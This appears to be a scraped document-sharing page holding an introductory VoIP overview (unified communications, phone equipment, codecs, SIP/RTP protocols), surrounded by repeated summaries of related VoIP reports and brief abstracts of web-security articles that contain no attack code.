VoIP (Voice over Internet Protocol) transmits voice and multimedia content over an internet connection. VoIP allows users to make voice calls from a computer, smartphone, other mobile devices, special VoIP phones and WebRTC-enabled browsers. VoIP is a valuable technology for consumers and businesses, as it typically includes additional features that can't be found on standard phone services. These features include call recording, custom caller ID, and voicemail to e-mail. It is also helpful to organizations as a way to unify communications.
The process works similarly to a regular phone, but VoIP uses an internet connection instead of a telephone company's wiring. VoIP is enabled by a group of technologies and methodologies to deliver voice communications over the internet, including enterprise local area networks or wide area networks.
A VoIP service will convert a user's voice from audio signals to digital data and then send that data through the internet. If another user calls from a regular phone number, the signal is converted back to a telephone signal before reaching that user.
VoIP can also route incoming and outgoing calls through existing telephone networks. However, some VoIP services may only work over a computer or VoIP phone.
VoIP allows users to make phone calls using a broadband internet connection instead of a traditional phone line. It works by converting voice into digital signals that travel over the internet in packets. Depending on the service, users can call other VoIP users or regular phone numbers. There are several ways to connect to VoIP, including analog telephone adapters, dedicated VoIP phones, or softphones on computers. VoIP offers benefits like lower costs compared to traditional phone service and additional features included free of charge. However, emergency calling can be more difficult with VoIP depending on how location is determined.
This document provides an overview of a project report on Voice over Internet Protocol (VoIP) submitted by two students, Amardeep Singh and Jaswinder Singh, at Chandigarh Engineering College in partial fulfillment of their B-Tech degree in Electronics and Communication Engineering. The report introduces VoIP technology, discusses software and hardware used in the project including Cisco routers and switches, and provides details on configuring an IP phone network with Cisco Call Manager Express including assigning IP addresses via DHCP and configuring phone directory numbers. Future enhancements discussed include integrating VoIP with wireless networks.
Voice over IP (VoIP) is a technology that allows users to make voice calls using a broadband Internet connection instead of a regular phone line. It converts the voice signal from an analog signal to digital data that can be transmitted over the Internet or IP networks. Popular protocols used for VoIP include SIP, H.323, and Skype. VoIP saw widespread adoption among consumers as broadband access became more available and VoIP services offered unlimited calling for a flat monthly fee. Businesses also migrated phone systems to VoIP to reduce costs. Challenges of VoIP include quality of service, compatibility with analog phones, emergency call support, and security.
Voice over Internet Protocol (VoIP) is replacing legacy telephone networks by carrying digitized voice in IP data packets over data networks. This chapter introduces VoIP, comparing it to legacy telephone networks, and discusses VoIP standards and protocols. It also introduces WiMAX networks and discusses supporting QoS for multimedia like VoIP over WiMAX. The objectives are to guarantee QoS for multiple service classes over WiMAX and improve VoIP performance. Simulation using OPNET Modeler will analyze VoIP traffic and QoS parameters over WiMAX.
This document provides an overview of Voice over IP (VoIP) technology. It discusses how VoIP works by digitizing and transmitting voice signals over the internet using IP packets. It describes common VoIP protocols like H.323 and SIP. The advantages of VoIP include lower costs, flexibility, and the ability to make calls from any internet connection. Disadvantages include reliance on internet access and potential quality issues during network congestion. The document provides details on how to implement VoIP securely and protect against risks.
Voice over IP (VoIP) is a methodology and group of technologies for the delivery of voice communications and multimedia sessions over Internet Protocol (IP) networks, such as the Internet. Other terms commonly associated with VoIP are IP telephony, Internet telephony, broadband telephony, and broadband phone service.
This seminar presentation provides an overview of Voice over Internet Protocol (VoIP) technology. It discusses how VoIP works by converting voice signals to digital signals sent over the Internet via packet switching. It covers major components of VoIP networks like codecs, quality of service issues, and types of VoIP services. The presentation also highlights advantages of VoIP like reduced costs, and discusses future directions such as increased reliability and integration with other applications. In conclusion, it predicts growing adoption of VoIP technology for computer-based communications and cost-effective multimedia transfers.
VoIP allows users to make phone calls using a broadband internet connection instead of a traditional phone line. It works by converting voice into digital signals that travel over the internet in packets. Depending on the service, users can call other VoIP users or regular phone numbers. There are several ways to connect to VoIP, including analog telephone adapters, dedicated VoIP phones, or softphones on computers. VoIP offers benefits like lower costs compared to traditional phone service and additional features included free of charge. However, emergency calling can be more difficult with VoIP depending on how location is determined.
This document provides an overview of a project report on Voice over Internet Protocol (VoIP) submitted by two students, Amardeep Singh and Jaswinder Singh, at Chandigarh Engineering College in partial fulfillment of their B-Tech degree in Electronics and Communication Engineering. The report introduces VoIP technology, discusses software and hardware used in the project including Cisco routers and switches, and provides details on configuring an IP phone network with Cisco Call Manager Express including assigning IP addresses via DHCP and configuring phone directory numbers. Future enhancements discussed include integrating VoIP with wireless networks.
Voice over IP (VoIP) is a technology that allows users to make voice calls using a broadband Internet connection instead of a regular phone line. It converts the voice signal from an analog signal to digital data that can be transmitted over the Internet or IP networks. Popular protocols used for VoIP include SIP, H.323, and Skype. VoIP saw widespread adoption among consumers as broadband access became more available and VoIP services offered unlimited calling for a flat monthly fee. Businesses also migrated phone systems to VoIP to reduce costs. Challenges of VoIP include quality of service, compatibility with analog phones, emergency call support, and security.
Voice over Internet Protocol (VoIP) is replacing legacy telephone networks by carrying digitized voice in IP data packets over data networks. This chapter introduces VoIP, comparing it to legacy telephone networks, and discusses VoIP standards and protocols. It also introduces WiMAX networks and discusses supporting QoS for multimedia like VoIP over WiMAX. The objectives are to guarantee QoS for multiple service classes over WiMAX and improve VoIP performance. Simulation using OPNET Modeler will analyze VoIP traffic and QoS parameters over WiMAX.
This document provides an overview of Voice over IP (VoIP) technology. It discusses how VoIP works by digitizing and transmitting voice signals over the internet using IP packets. It describes common VoIP protocols like H.323 and SIP. The advantages of VoIP include lower costs, flexibility, and the ability to make calls from any internet connection. Disadvantages include reliance on internet access and potential quality issues during network congestion. The document provides details on how to implement VoIP securely and protect against risks.
Voice over IP (VoIP) is a methodology and group of technologies for the delivery of voice communications and multimedia sessions over Internet Protocol (IP) networks, such as the Internet. Other terms commonly associated with VoIP are IP telephony, Internet telephony, broadband telephony, and broadband phone service.
This seminar presentation provides an overview of Voice over Internet Protocol (VoIP) technology. It discusses how VoIP works by converting voice signals to digital signals sent over the Internet via packet switching. It covers major components of VoIP networks like codecs, quality of service issues, and types of VoIP services. The presentation also highlights advantages of VoIP like reduced costs, and discusses future directions such as increased reliability and integration with other applications. In conclusion, it predicts growing adoption of VoIP technology for computer-based communications and cost-effective multimedia transfers.
This document is a project report on VoIP technology from Gollis University. It discusses what VoIP is, the history and evolution of VoIP, how VoIP works by breaking voice signals into packets and sending them over IP networks, common VoIP protocols and codecs, benefits of VoIP compared to traditional phone systems, and potential future enhancements to VoIP technology. It was created by a group of 6 students for their 7th semester mini project.
This research work investigates and improves the performance of Voice over Internet Protocol (VoIP) traffic using IPV4 and IPV6 over WiMAX networks and the impact of various voice codec schemes and statistical distribution for Voice over Internet Protocol (VoIP) over WiMAX has been investigated in detail.
In this white paper, VoIP for Beginners, you’ll be introduced to how VoIP works.
Discover what occurs when a VoIP call is placed and received
Understand the key technical terms and learn the issues that affect bandwidth and call quality Learn three issues to consider when defining VoIP call quality
How to Optimize VoIP Call Quality Across Multiple Calling EnvironmentsAshik Jibon
A VoIP provider must be committed to working with you to find a resolution to VoIP challenges and able to help you successfully navigate VoIP across multiple calling environments now and in the future. Find a provider who has extensive experience in the VoIP softphone technology landscape. Visit us at Joon.us to learn more.
VoIP allows users to make phone calls using an Internet connection instead of a regular phone line. It converts voice signals into digital data that can be transmitted over the Internet or a private network. There are several ways to make VoIP calls, including using an analog telephone adapter, IP phone, or software on a computer. VoIP services offer benefits like reduced communication costs and integrated features, but require a reliable broadband connection and have some quality and security limitations compared to traditional phone systems.
VoIP allows users to make voice calls over the internet instead of traditional phone lines. It works by converting voice into digital signals sent over broadband internet and converting back to regular calls. Key requirements are a broadband internet connection and computer/phone with VOIP software or adapter. VOIP has benefits like lower costs for consumers and businesses. While VOIP is banned for regular calls in Afghanistan, PC-to-PC VOIP like Skype is allowed. VOIP capabilities are widespread in applications like Windows Messenger, Xbox Live, and Skype.
VoIP allows users to make voice calls over the internet instead of traditional phone lines. It works by converting voice into digital signals sent over broadband internet and converting back to regular calls. Key requirements are a broadband internet connection and computer/phone with VOIP software or adapter. VOIP has benefits like lower costs for consumers and businesses. While VOIP is banned for regular calls in Afghanistan, PC-to-PC VOIP like Skype is allowed. VOIP capabilities are widespread in applications like Windows Messenger, Xbox Live, and Skype.
The document discusses how IP telephony can provide voice communication services to rural areas in Bangladesh. It describes how IP-based networks are well-suited for quickly implementing telephone infrastructure in rural regions. Specifically, the document outlines various IP network architectures that could be used to deliver rural telephony services and discusses technical aspects of implementing VoIP systems, including considerations around reliability, quality of service, emergency calls, and security.
VoIP (Voice Over IP) allows users to make phone calls using an Internet connection rather than a traditional phone line. It works by converting voice signals into digital data packets which are transmitted over the Internet or other IP-based networks. Common protocols used for VoIP include UDP, RTP, and SIP. While VoIP provides advantages like lower costs, it also faces challenges of packet loss, latency, jitter, and firewall restrictions that can impact call quality.
This document outlines an assignment for a group research project on Voice over Internet Protocol (VoIP). It provides background information on VoIP, including how it works, advantages such as lower costs, and future applications. It also discusses Nextiva as a top-rated VoIP provider and includes customer testimonials praising Nextiva. The document concludes by stating that VoIP has evolved significantly and will continue integrating with more applications.
Voice over Internet Protocol (Voice over IP, VoIP and IP telephony) is a methodology and group of technologies for the delivery of voice communications and multimedia sessions over Internet Protocol (IP) networks, such as the Internet. The terms Internet telephony, broadband telephony, and broadband phone service specifically refer to the provisioning of communications services (voice, fax, SMS, voice-messaging) over the public Internet, rather than via the public switched telephone network (PSTN).The steps and principals involved in originating VoIP telephone calls are similar to traditional digital telephony and involve signaling, channel setup, digitization of the analog voice signals, and encoding.
This document discusses quality of service (QoS) in voice over internet protocol (VoIP). It defines key terms like QoS and discusses why QoS is important for VoIP. Specifically, it states that QoS is needed to deliver high quality voice services over the internet by prioritizing VoIP packets to reduce delays. It also outlines some methods for implementing QoS, including at the network edge, and standards like bandwidth allocation that help ensure reliable VoIP call quality.
This document discusses VoIP (Voice over Internet Protocol) technology, including its challenges and applications. It covers topics like reliability issues, quality of service, fax transmission, emergency call handling, security concerns, case studies, and the VoIP market. Solutions proposed include improving network infrastructure, prioritizing emergency calls, encrypting VoIP traffic, and segmenting voice and data networks. The VoIP market is projected to grow significantly due to lower costs and the emergence of new communication services.
VoIP converts voice into a digital signal that travels over the Internet, allowing calls from computers, VoIP phones, or traditional phones connected to an adapter. VoIP can offer extra features at low or no extra cost but lacks backup power during outages and may not connect directly to 911. VoIP has existed since the 1960s but grew in popularity in the 1990s with software like InternetPhone allowing basic calls between computers. The future is Voice over LTE which improves call quality by offloading processing to mobile networks.
you can be friend with me on orkut
"mangalforyou@gmail.com" : i belive in sharing the knowledge so please send project reports ,seminar and ppt. to me .
This document provides an overview of Internet Protocol Telephony (VoIP). It discusses how VoIP works by digitizing and compressing voice into packets transmitted over the Internet. It also covers some of the common protocols used, including Session Initiation Protocol (SIP) and H.323, and compares their advantages. Potential applications and challenges of VoIP are also mentioned.
A NEW SYSTEM ON CHIP RECONFIGURABLE GATEWAY ARCHITECTURE FOR VOICE OVER INTER...csandit
The aim of this paper is to present a new System on Chip (SoC) reconfigurable gateway
architecture for Voice over Internet Telephony (VOIP). Our motivation behind this work is
justified by the following arguments: most of VOIP solutions proposed in the market are based
on the use of a general purpose processor and a DSP circuit. In these solutions, the use of the
serial multiply accumulate circuit is very limiting for the signal processing. Also, in embedded
VOIP based DSP applications, the DSP works without MMU (memory management unit). This
is a serious limitation because VOIP solutions are multi-task based. In order to overcome these
problems, we propose a new VOIP gateway architecture built around the OpenRisc-1200-V3
processor. This last one integrates a DSP circuit as well as a MMU. The hardware architecture
is mapped into the VIRTEX-5 FPGA device. We propose a design methodology based on the
design for reuse and design with reuse concepts. We demonstrate that the proposed SoC
architecture is reconfigurable, scalable and the final RTL code can be reused for any FPGA or
ASIC technology. Performances measures, in the VIRTEX-5 FPGA device family, show that the
SOC-gateway architecture occupies 52% of the FPGA in term of slice LUT, 42% of IOBs, 60%
of bloc memory, 8% of integrated DSP, 16% of PLL and the total power is estimated at
4.3Watts.
Voice over Internet Protocol with Novel Applicationsirjes
This document summarizes Voice over Internet Protocol (VoIP) technology. It discusses three types of VoIP calls: PC to PC, PC to phone, and phone to phone. It also explains some key VoIP protocols like H.323, Session Initiation Protocol (SIP), and VoiceXML. The document provides an overview of how VoIP works, its advantages over traditional phone systems, and examples of VoIP applications.
Abstract
With the increased number of web applications, web security is be- coming more and more significant. Cross-Site Scripting vulnerability, abbreviated as XSS, is a common web vulnerability. Exploiting XSS vulnerabilities can cause hijacked user sessions, malicious code injec- tions into web applications, and critical information stealing. This article gives brief information about XSS, discusses its types, and de- signs a demo website to demonstrate attack processes of common XSS exploitation scenarios. The article also shows how to prevent XSS at- tacks with code illustrations.
Abstract
Insecure Direct Object References (IDOR) are a type of vulnerabil- ity that occurs when an application exposes direct object references, such as a file path or database key, to unauthorized users. This can allow attackers to bypass security controls and access sensitive infor- mation, such as user data or financial records, without proper authen- tication. IDOR vulnerabilities can arise due to a lack of proper access controls or when an application trusts user-supplied input without ad- equately validating it. In this article, we will provide examples of un- secure code that is vulnerable to IDOR attacks, and demonstrate how these vulnerabilities can be exploited. To prevent IDOR vulnerabili- ties, it is important to implement robust access controls and sanitize user input to ensure that only authorized users can access sensitive objects. Additionally, regularly testing and monitoring applications for IDOR vulnerabilities can help to identify and mitigate potential threats.
Contenu connexe
Similaire à VoIP (Voice over Internet Protocol).pdf
This document is a project report on VoIP technology from Gollis University. It discusses what VoIP is, the history and evolution of VoIP, how VoIP works by breaking voice signals into packets and sending them over IP networks, common VoIP protocols and codecs, benefits of VoIP compared to traditional phone systems, and potential future enhancements to VoIP technology. It was created by a group of 6 students for their 7th semester mini project.
This research work investigates and improves the performance of Voice over Internet Protocol (VoIP) traffic using IPV4 and IPV6 over WiMAX networks and the impact of various voice codec schemes and statistical distribution for Voice over Internet Protocol (VoIP) over WiMAX has been investigated in detail.
In this white paper, VoIP for Beginners, you’ll be introduced to how VoIP works.
Discover what occurs when a VoIP call is placed and received
Understand the key technical terms and learn the issues that affect bandwidth and call quality Learn three issues to consider when defining VoIP call quality
How to Optimize VoIP Call Quality Across Multiple Calling EnvironmentsAshik Jibon
A VoIP provider must be committed to working with you to find a resolution to VoIP challenges and able to help you successfully navigate VoIP across multiple calling environments now and in the future. Find a provider who has extensive experience in the VoIP softphone technology landscape. Visit us at Joon.us to learn more.
VoIP allows users to make phone calls using an Internet connection instead of a regular phone line. It converts voice signals into digital data that can be transmitted over the Internet or a private network. There are several ways to make VoIP calls, including using an analog telephone adapter, IP phone, or software on a computer. VoIP services offer benefits like reduced communication costs and integrated features, but require a reliable broadband connection and have some quality and security limitations compared to traditional phone systems.
VoIP allows users to make voice calls over the internet instead of traditional phone lines. It works by converting voice into digital signals sent over broadband internet and converting back to regular calls. Key requirements are a broadband internet connection and computer/phone with VOIP software or adapter. VOIP has benefits like lower costs for consumers and businesses. While VOIP is banned for regular calls in Afghanistan, PC-to-PC VOIP like Skype is allowed. VOIP capabilities are widespread in applications like Windows Messenger, Xbox Live, and Skype.
VoIP allows users to make voice calls over the internet instead of traditional phone lines. It works by converting voice into digital signals sent over broadband internet and converting back to regular calls. Key requirements are a broadband internet connection and computer/phone with VOIP software or adapter. VOIP has benefits like lower costs for consumers and businesses. While VOIP is banned for regular calls in Afghanistan, PC-to-PC VOIP like Skype is allowed. VOIP capabilities are widespread in applications like Windows Messenger, Xbox Live, and Skype.
The document discusses how IP telephony can provide voice communication services to rural areas in Bangladesh. It describes how IP-based networks are well-suited for quickly implementing telephone infrastructure in rural regions. Specifically, the document outlines various IP network architectures that could be used to deliver rural telephony services and discusses technical aspects of implementing VoIP systems, including considerations around reliability, quality of service, emergency calls, and security.
VoIP (Voice Over IP) allows users to make phone calls using an Internet connection rather than a traditional phone line. It works by converting voice signals into digital data packets which are transmitted over the Internet or other IP-based networks. Common protocols used for VoIP include UDP, RTP, and SIP. While VoIP provides advantages like lower costs, it also faces challenges of packet loss, latency, jitter, and firewall restrictions that can impact call quality.
This document outlines an assignment for a group research project on Voice over Internet Protocol (VoIP). It provides background information on VoIP, including how it works, advantages such as lower costs, and future applications. It also discusses Nextiva as a top-rated VoIP provider and includes customer testimonials praising Nextiva. The document concludes by stating that VoIP has evolved significantly and will continue integrating with more applications.
Voice over Internet Protocol (Voice over IP, VoIP and IP telephony) is a methodology and group of technologies for the delivery of voice communications and multimedia sessions over Internet Protocol (IP) networks, such as the Internet. The terms Internet telephony, broadband telephony, and broadband phone service specifically refer to the provisioning of communications services (voice, fax, SMS, voice-messaging) over the public Internet, rather than via the public switched telephone network (PSTN).The steps and principals involved in originating VoIP telephone calls are similar to traditional digital telephony and involve signaling, channel setup, digitization of the analog voice signals, and encoding.
This document discusses quality of service (QoS) in voice over internet protocol (VoIP). It defines key terms like QoS and discusses why QoS is important for VoIP. Specifically, it states that QoS is needed to deliver high quality voice services over the internet by prioritizing VoIP packets to reduce delays. It also outlines some methods for implementing QoS, including at the network edge, and standards like bandwidth allocation that help ensure reliable VoIP call quality.
This document discusses VoIP (Voice over Internet Protocol) technology, including its challenges and applications. It covers topics like reliability issues, quality of service, fax transmission, emergency call handling, security concerns, case studies, and the VoIP market. Solutions proposed include improving network infrastructure, prioritizing emergency calls, encrypting VoIP traffic, and segmenting voice and data networks. The VoIP market is projected to grow significantly due to lower costs and the emergence of new communication services.
VoIP converts voice into a digital signal that travels over the Internet, allowing calls from computers, VoIP phones, or traditional phones connected to an adapter. VoIP can offer extra features at low or no extra cost but lacks backup power during outages and may not connect directly to 911. VoIP has existed since the 1960s but grew in popularity in the 1990s with software like InternetPhone allowing basic calls between computers. The future is Voice over LTE which improves call quality by offloading processing to mobile networks.
you can be friend with me on orkut
"mangalforyou@gmail.com" : i belive in sharing the knowledge so please send project reports ,seminar and ppt. to me .
This document provides an overview of Internet Protocol Telephony (VoIP). It discusses how VoIP works by digitizing and compressing voice into packets transmitted over the Internet. It also covers some of the common protocols used, including Session Initiation Protocol (SIP) and H.323, and compares their advantages. Potential applications and challenges of VoIP are also mentioned.
A NEW SYSTEM ON CHIP RECONFIGURABLE GATEWAY ARCHITECTURE FOR VOICE OVER INTER...csandit
The aim of this paper is to present a new System on Chip (SoC) reconfigurable gateway
architecture for Voice over Internet Telephony (VOIP). Our motivation behind this work is
justified by the following arguments: most of VOIP solutions proposed in the market are based
on the use of a general purpose processor and a DSP circuit. In these solutions, the use of the
serial multiply accumulate circuit is very limiting for the signal processing. Also, in embedded
VOIP based DSP applications, the DSP works without MMU (memory management unit). This
is a serious limitation because VOIP solutions are multi-task based. In order to overcome these
problems, we propose a new VOIP gateway architecture built around the OpenRisc-1200-V3
processor. This last one integrates a DSP circuit as well as a MMU. The hardware architecture
is mapped into the VIRTEX-5 FPGA device. We propose a design methodology based on the
design for reuse and design with reuse concepts. We demonstrate that the proposed SoC
architecture is reconfigurable, scalable and the final RTL code can be reused for any FPGA or
ASIC technology. Performances measures, in the VIRTEX-5 FPGA device family, show that the
SOC-gateway architecture occupies 52% of the FPGA in term of slice LUT, 42% of IOBs, 60%
of bloc memory, 8% of integrated DSP, 16% of PLL and the total power is estimated at
4.3Watts.
Voice over Internet Protocol with Novel Applicationsirjes
This document summarizes Voice over Internet Protocol (VoIP) technology. It discusses three types of VoIP calls: PC to PC, PC to phone, and phone to phone. It also explains some key VoIP protocols like H.323, Session Initiation Protocol (SIP), and VoiceXML. The document provides an overview of how VoIP works, its advantages over traditional phone systems, and examples of VoIP applications.
Similaire à VoIP (Voice over Internet Protocol).pdf (20)
Abstract
With the increased number of web applications, web security is be- coming more and more significant. Cross-Site Scripting vulnerability, abbreviated as XSS, is a common web vulnerability. Exploiting XSS vulnerabilities can cause hijacked user sessions, malicious code injec- tions into web applications, and critical information stealing. This article gives brief information about XSS, discusses its types, and de- signs a demo website to demonstrate attack processes of common XSS exploitation scenarios. The article also shows how to prevent XSS at- tacks with code illustrations.
Abstract
Insecure Direct Object References (IDOR) are a type of vulnerabil- ity that occurs when an application exposes direct object references, such as a file path or database key, to unauthorized users. This can allow attackers to bypass security controls and access sensitive infor- mation, such as user data or financial records, without proper authen- tication. IDOR vulnerabilities can arise due to a lack of proper access controls or when an application trusts user-supplied input without ad- equately validating it. In this article, we will provide examples of un- secure code that is vulnerable to IDOR attacks, and demonstrate how these vulnerabilities can be exploited. To prevent IDOR vulnerabili- ties, it is important to implement robust access controls and sanitize user input to ensure that only authorized users can access sensitive objects. Additionally, regularly testing and monitoring applications for IDOR vulnerabilities can help to identify and mitigate potential threats.
Abstract
In this article, we explore the path traversal attacks, also known as directory traversal attacks, and the potential harm they can cause to a system. We begin with an introduction to path traversal, explaining what it is and how attackers can exploit it to gain unauthorized access to files and directories. We then dive into the different techniques that can be used to exploit path traversal, including manipulating file paths and using encoding techniques. To prevent these attacks, we discuss several best practices, such as input validation and path normaliza- tion. Finally, we provide examples of more secure code and discuss how developers can implement these practices to strengthen their ap- plication’s defenses against path traversal attacks. Whether you’re a developer, a security professional, or just interested in learning more about cyber-security, this article provides valuable insights into one of the most common types of web application vulnerabilities.
A buffer overflow exploit is a security vulnerability that occurs when an application receives more data than expected, causing it to fill up memory space and even crash the program. Through this vulnerability, an attacker can run malicious code on the target application and take control of the system.
Buffer overflow exploits often stem from programming errors, incomplete input validation processes, or weaknesses in the data structures used in the program. These vulnerabilities allow attackers to gain control over an application.
Buffer overflow exploits pose a significant threat to cybersecurity and are often a key component of malware and cyber attacks. Therefore, software developers and system administrators should have knowledge of application security and design their applications properly to defend against these types of attacks.
The document provides an overview of remote file inclusion (RFI) and local file inclusion (LFI) attacks. It explains that RFI occurs when a web application includes external files without validating the input, allowing an attacker to execute malicious code remotely. LFI involves including local files, potentially exposing sensitive information. The document demonstrates how to exploit RFI and LFI vulnerabilities in a sample e-commerce application and discusses strategies to prevent such attacks, including input validation, avoiding use of eval(), and storing sensitive data in a database rather than files.
This Azure DevOps Security Guide, prepared for Secure Debug Limited, provides a comprehensive framework for ensuring a secure and compliant Azure DevOps environment. The guide covers various aspects of security, including access control, network security, code security, and continuous monitoring.
Key points addressed in this guide include:
1. Managing users and groups using Role-Based Access Control (RBAC) to define and enforce granular permissions.
2. Applying the principle of least privilege for granting permissions to minimize potential risks.
3. Regularly reviewing user accounts and disabling unnecessary accounts to reduce the attack surface.
4. Implementing strong authentication with Multi-Factor Authentication (MFA) to protect against unauthorized access.
5. Integrating centralized identity management using Single Sign-On (SSO) and Azure Active Directory.
6. Reducing authentication risks using risk-based policies and Azure AD Identity Protection integration.
7. Restricting access with IP-based network security groups and private networks.
8. Establishing secure communication with on-premises systems using VPN or
ExpressRoute.
9. Protecting and routing network traffic with Azure DDoS Protection and Azure Firewall.
10. Applying code review processes and utilizing static and dynamic code analysis tools
for vulnerability detection.
11. Establishing secure coding standards and ensuring dependency security.
12. Incorporating security controls and automated tests in Build and Release pipelines.
13. Securing agents with trusted agent pools and implementing Git branch policies and
pull request reviews for code security.
14. Storing credentials, certificates, and access keys securely in Azure Key Vault and
configuring access for Azure DevOps pipelines.
15. Monitoring changes using Azure DevOps audit logs for security, compliance, and
operational awareness.
16. Continuously tracking and improving security posture with Azure Policy and Azure
Security Center.
17. Conducting internal and external security audits and penetration tests for evaluation
and continuous improvement.
18. Regularly review and update the security configurations of your Azure DevOps
services, resources, and tools.
19. Implement secure baselines for your Azure resources and enforce them consistently
across your environment.
20. Use Azure Policy to define and enforce security configurations across your Azure
resources.
21. Continuously monitor configuration changes and assess their impact on your security
posture.
22. Implement a robust backup and recovery strategy for your critical data, including
source code, artifacts, and configuration data.
23. Use Azure Backup and Azure Site Recovery to protect your data and applications.
24. Regularly test your data recovery processes to ensure they are effective and up to
date.
25. Establish a disaster recovery plan to minimize downtime and data loss in case of a
security breach or system failure.
Insecure Direct Object References (IDOR) are a type of vulnerabil- ity that occurs when an application exposes direct object references, such as a file path or database key, to unauthorized users. This can allow attackers to bypass security controls and access sensitive infor- mation, such as user data or financial records, without proper authen- tication. IDOR vulnerabilities can arise due to a lack of proper access controls or when an application trusts user-supplied input without ad- equately validating it. In this article, we will provide examples of un- secure code that is vulnerable to IDOR attacks, and demonstrate how these vulnerabilities can be exploited. To prevent IDOR vulnerabili- ties, it is important to implement robust access controls and sanitize user input to ensure that only authorized users can access sensitive objects. Additionally, regularly testing and monitoring applications for IDOR vulnerabilities can help to identify and mitigate potential threats.
Phishing, Smishing and vishing_ How these cyber attacks work and how to preve...Okan YILDIZ
Smishing and vishing are phishing attacks that lure victims via SMS messages and voice calls. Both rely on the same emotional appeals employed in traditional phishing scams and are designed to drive you into urgent action. The difference is the delivery method.
“Cyberthieves can apply manipulation techniques to many forms of communication because the underlying principles remain constant,” explains security awareness leader Stu Sjouwerman, CEO of KnowBe4. “Lure victims with bait and then catch them with hooks.”
With the increased number of web applications, web security is be- coming more and more significant. Cross-Site Scripting vulnerability, abbreviated as XSS, is a common web vulnerability. Exploiting XSS vulnerabilities can cause hijacked user sessions, malicious code injec- tions into web applications, and critical information stealing. This article gives brief information about XSS, discusses its types, and de- signs a demo website to demonstrate attack processes of common XSS exploitation scenarios. The article also shows how to prevent XSS at- tacks with code illustrations.
OS Command Injection is a type of cyber attack that involves injecting mali- cious code into a legitimate system command. This allows the attacker to gain unauthorized access to sensitive information or to manipulate system functions. The attack is possible when an application does not properly validate user in- put, allowing the attacker to insert arbitrary commands that are executed by the operating system.
OS Command Injection attack can include data loss, system compromise, and loss of trust in the affected organization. In some cases, the attack can even lead to financial losses or legal repercussions.
This article discusses Command Injection attacks, what vulnerable appli- cations are and how to exploit the vulnerability, and finally, how to prevent attacks by writing safe codes.
Introduction of Cybersecurity with OSS at Code Europe 2024Hiroshi SHIBATA
I develop the Ruby programming language, RubyGems, and Bundler, which are package managers for Ruby. Today, I will introduce how to enhance the security of your application using open-source software (OSS) examples from Ruby and RubyGems.
The first topic is CVE (Common Vulnerabilities and Exposures). I have published CVEs many times. But what exactly is a CVE? I'll provide a basic understanding of CVEs and explain how to detect and handle vulnerabilities in OSS.
Next, let's discuss package managers. Package managers play a critical role in the OSS ecosystem. I'll explain how to manage library dependencies in your application.
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2. 2
What is VoIP (voice over Internet Protocol)? 2
VoIP in unified communications 3
VoIP telephone equipment 5
How does VoIP work? 6
VoIP protocols and standards 7
Advantages and disadvantages of VoIP 9
History of VoIP 11
The 1990s 11
The 2000s 11
How to Hack VoIP Networks? 12
3. 3
What is VoIP (voice over Internet Protocol)?
VoIP (Voice over Internet Protocol) transmits voice and multimedia content
over an internet connection. VoIP allows users to make voice calls from a
computer, smartphone, other mobile devices, special VoIP phones and
WebRTC-enabled browsers. VoIP is a valuable technology for consumers
and businesses, as it typically includes additional features that can't be
found on standard phone services. These features include call recording,
custom caller ID, and voicemail to e-mail. It is also helpful to organizations
as a way to unify communications.
The process works similarly to a regular phone, but VoIP uses an internet
connection instead of a telephone company's wiring. VoIP is enabled by a
group of technologies and methodologies to deliver voice communications
over the internet, including enterprise local area networks or wide area
networks.
A VoIP service will convert a user's voice from audio signals to digital data
and then send that data through the internet. If another user calls from a
regular phone number, the signal is converted back to a telephone signal
before reaching that user.
VoIP can also route incoming and outgoing calls through existing telephone
networks. However, some VoIP services may only work over a computer or
VoIP phone.
VoIP in unified communications
VoIP consolidates communication technologies into one unified system --
meaning that VoIP can allow for some audio, video or text-based
4. 4
communication methods. This can be particularly useful for businesses, so
teams don't have to work with multiple different applications to
communicate with one another effectively.
VoIP creates this network by allowing users to make calls and hold web
conferences using devices like computers, smartphones or other mobile
devices.
Some typical features might include:
● audio calls;
● video calls;
● voicemail;
● instant messaging;
● team chats;
● e-mail;
● SMS texts;
● mobile and desktop apps; and
● mobile and local number portability (allows a subscriber to choose
a new telephone carrier without needing a new number).
5. 5
VoIP telephone equipment
The two main types of VoIP telephones are hardware-based and
software-based.
A hardware-based VoIP phone looks like a traditional hard-wired or
cordless telephone and includes similar features, such as a speaker or
microphone, a touchpad and a caller ID display. VoIP phones can also
provide voicemail, call conferencing and call transfer.
Software-based IP phones, also known as softphones, are software clients
installed on a computer or mobile device. The softphone user interface
often looks like a telephone handset with a touchpad and caller ID display.
6. 6
A headset with a microphone connects to the computer or mobile device to
make calls. Users can also make calls via their computer or mobile device
if they have a built-in microphone and speaker.
How does VoIP work?
VoIP services convert a user's voice from audio signals to digital data,
which that data is then sent to another user -- or group of users -- over
Ethernet or Wi-Fi. To accomplish this, VoIP will use codecs.
Codecs are either hardware- or software-based process that compresses
and decompresses large amounts of VoIP data. Voice quality may suffer
when compression is used, but reduction reduces bandwidth requirements.
Equipment vendors will also use their proprietary codecs.
Sending data to other users includes encapsulating audio into data
packets, transmitting the packets across an IP network and
unencapsulated the packets back into audio at the other end of the
connection.
Within enterprise or private networks, quality of service (QoS) is typically
used to prioritize voice traffic over non-latency-sensitive applications to
ensure acceptable quality.
Additional components of a typical VoIP system include the following: an IP
PBX to manage user telephone numbers, devices, features and clients;
7. 7
gateways to connect networks and provide failover or local survivability in
the event of a network outage; and session border controllers to provide
security, call policy management and network connections.
A VoIP system can also include location-tracking databases for E911
(enhanced 911) call routing and management platforms. This can collect
call performance statistics for reactive and proactive voice-quality
management.
By eliminating circuit-switched networks for voice, VoIP reduces network
infrastructure costs and enables providers to deliver voice services over
Broadband and private networks. This should also enable enterprises to
operate a single voice and data network.
VoIP also piggybacks on the resiliency of IP-based networks by enabling
fast failover, following outages and redundant communications between
endpoints and networks.
VoIP protocols and standards
8. 8
VoIP endpoints typically use either International Telecommunication Union
(ITU) standard codecs or specifically developed codecs. They are as
follows:
● 711 is the standard for transmitting uncompressed packets.
● 729 is the standard for compressed packets.
● Transmission Control Protocol (TCP) is used to break a message
down into smaller packets. Meanwhile, the IP deals with the
sending and delivery of the packages.
● In real-time, the ITU T.38 protocol will send faxes over a VoIP or
IP network. VoIP typically uses this to support non-voice
communications.
● The Real-Time Transport Protocol (RTP) is used once the voice is
encapsulated onto IP.
● The Secure Real-Time Transport Protocol (SRTP) acts as an
encrypted variant of RTP.
● The Session Initiation Protocol (SIP) is a rigorous standard for
signalling -- most often used to signal to create, maintain and end
calls.
● The 248 protocol describes a Gateway Control Protocol, which
defines a centralized architecture for creating multimedia
applications.
